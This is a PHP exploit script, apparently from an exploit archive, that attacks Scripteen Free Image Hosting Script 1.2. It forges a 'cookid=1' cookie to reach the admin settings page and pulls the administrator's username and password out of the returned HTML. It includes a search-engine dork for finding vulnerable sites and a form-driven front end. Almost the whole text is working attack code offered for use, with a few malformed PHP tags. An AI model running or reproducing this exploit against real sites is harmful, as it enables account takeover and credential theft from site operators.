Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit _Exploit_网络安全_

/*
Coded By RMx - Liz0zim
BiyoSecurity.Com & Coderx.org
Ki zava Ki Zava :)
Thanx : Crackers_Child - TR_IP - Volqan - All SQL Low3rz
*/
error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
$desen='|value="(.*)"|siU';

function yolla($host,$paket)
{
global $veri;
$ac=fsockopen(gethostbyname($host),80);
if (!$ac) {
echo 'Unable to connect to server '.$host.':80'; exit;//Bağlanamaz ise
}
fputs($ac,$paket);
$veri="";
while (!feof($ac)) {
$veri.=fread($ac,1);

}
fclose($ac);
}
?>

Scripteen Free Image Hosting Script V1.2.* (cookie) Admin Password Grabber Exploit

Coded By RMx - Liz0ziM

Web:www.biyosecurity.com

Dork:"Powered by Scripteen Free Image Hosting Script V1.2"

TARGET HOST:

Example:www.xxxx.com

TARGET PATH:
Example:/ or /scriptpath/

$host=$_POST[host];
$klasor=$_POST[klasor];
$admin=$_POST[admin];
$p=$klasor."admin/settings.php";
echo 'Sending Exploit..
';
$packet ="GET ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cookid=1\r\n";
$packet.="Connection: Close\r\n\r\n";
yolla($host,$packet);
preg_match_all($desen,$veri,$cik);
$ad=$cik[1][0];
$sifre=$cik[1][1];
if($ad AND $sifre){
echo '
Exploit succeeded...

Admin Username:'.$ad.'

Admin Password:'.$sifre.'
';
}
else
{
echo 'Exploit Failed !';
}
}

?>